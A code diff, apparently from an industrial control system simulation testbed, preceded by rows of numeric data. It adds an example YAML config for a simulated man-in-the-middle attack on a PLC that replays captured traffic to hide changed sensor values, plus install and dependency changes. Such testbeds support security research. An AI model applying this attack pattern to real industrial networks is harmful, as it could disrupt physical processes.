+0.03422680522786418,0.019311174027251177,0.010738791310871498,0.042044128570987334,0.0372866107199517,0.01464718095646108,0.011757229670381331,0.034712757924390485,0.019084418396339994,0.046928707367638677 +0.02235272854045487,0.04262188510077446,0.017762761459818387,0.02291601014305482,0.019503287431552684,0.018224078248329435,0.010462255333836823,0.02253615875504074,0.0335452452779386,0.03527191996442438 +0.033394970887087656,0.041516825559544605,0.024405622666652124,0.02433737834966757,0.014932575866035639,0.04386733879484399,0.04736531146761462,0.019974418547244684,0.037333037117542295,0.044145770747718506 +0.042919243230354565,0.021112837869776895,0.017978570230722433,0.027069154093034065,0.019448563047053995,0.013868785560145138,0.03092164904513034,0.012242293593011695,0.02751494074733224,0.015696836689251762 +0.0422920547294522,0.04030965753918214,0.023914380071490268,0.023071382783828413,0.013800329635572957,0.0468832223379095,0.02054644304356609,0.023135245814632388,0.03563892112555699,0.035576113041939236 +0.0332062372456963,0.03694337492748387,0.015174957983919417,0.04873638325526446,0.025021336946924107,0.043716844631339166,0.017405648541135004,0.022115833763819877,0.022854305706213773,0.015011193749232765 +0.029710747914359154,0.010288108133263071,0.02980880565551309,0.03427102423090012,0.03798082727768779,0.014595783093315298,0.02542619010957157,0.04820304634247288,0.015668731588709364,0.03718008435023396 +0.014615428347923159,0.03506004244526553,0.021635903307365055,0.025549550413756675,0.019335797904672023,0.028002899243549983,0.04341345838592449,0.04062555481678019,0.04600202089242993,0.024895343144597328 +0.021214161020116237,0.03129824885068558,0.016507773234132172,0.0298024275235918,0.02483010012716055,0.012914039458026855,0.0420400410120273,0.03687211199581762,0.020897605887710426,0.049859198364011884 +0.02438296619842932,0.03619950161181145,0.03284462293334572,0.012435893164669372,0.020220353276108476,0.031915167430722036,0.030111925355962736,0.04056114956280768,0.026880011370555727,0.021339667592144607 +0.04370307491680696,0.030736482855245426,0.02332355908793948,0.023590499174028133,0.02758049311695205,0.019483221442356015,0.047872811850038104,0.03153687196544938,0.044060906661506125,0.03206676228904037 +0.04682398449176432,0.01935220719031681,0.021545819528040484,0.049254233021992694,0.043097952309846796,0.04344270434548381,0.03367312583679959,0.02302246606984456,0.03909124182656604,0.035769049697681014 diff --git a/examples/example/example_attack.yaml b/examples/example/example_attack.yaml new file mode 100644 index 00000000..3d3fe2dc --- /dev/null +++ b/examples/example/example_attack.yaml @@ -0,0 +1,18 @@ +network_attacks: +- name: plc4attack + type: concealment_mitm + tags: + - tag: T3 + offset: 10.0 + - tag: T4 + offset: 10.0 + target: PLC4 + concealment_data: + type: payload_replay + capture_start: 10 + capture_end: 20 + replay_start: 30 + trigger: + start: 10 + end: 50 + type: time \ No newline at end of file diff --git a/install.sh b/install.sh index 03ded349..8a5a1b2d 100755 --- a/install.sh +++ b/install.sh @@ -57,6 +57,9 @@ sudo pip install pyyaml==5.3.* sudo pip install numpy==1.16.* sudo python3 -m pip install pandas==1.3.4 sudo python3 -m pip install matplotlib==3.5.0 +sudo python3 -m pip install str2bool +sudo python3 -m pip install tensorflow +sudo python3 -m pip install sklearn sudo python3 -m pip install testresources # Mininet from source diff --git a/setup.py b/setup.py index 41c39819..78075b80 100644 --- a/setup.py +++ b/setup.py @@ -23,8 +23,7 @@ 'pandas==1.3.4', 'matplotlib==3.5.0', 'schema', - 'scapy', - 'fnfqueue' + 'scapy' ], extras_require={ 'test': ['pytest', 'pytest-mock', 'mock', 'wget', 'coverage', 'pytest-cov', 'flaky'],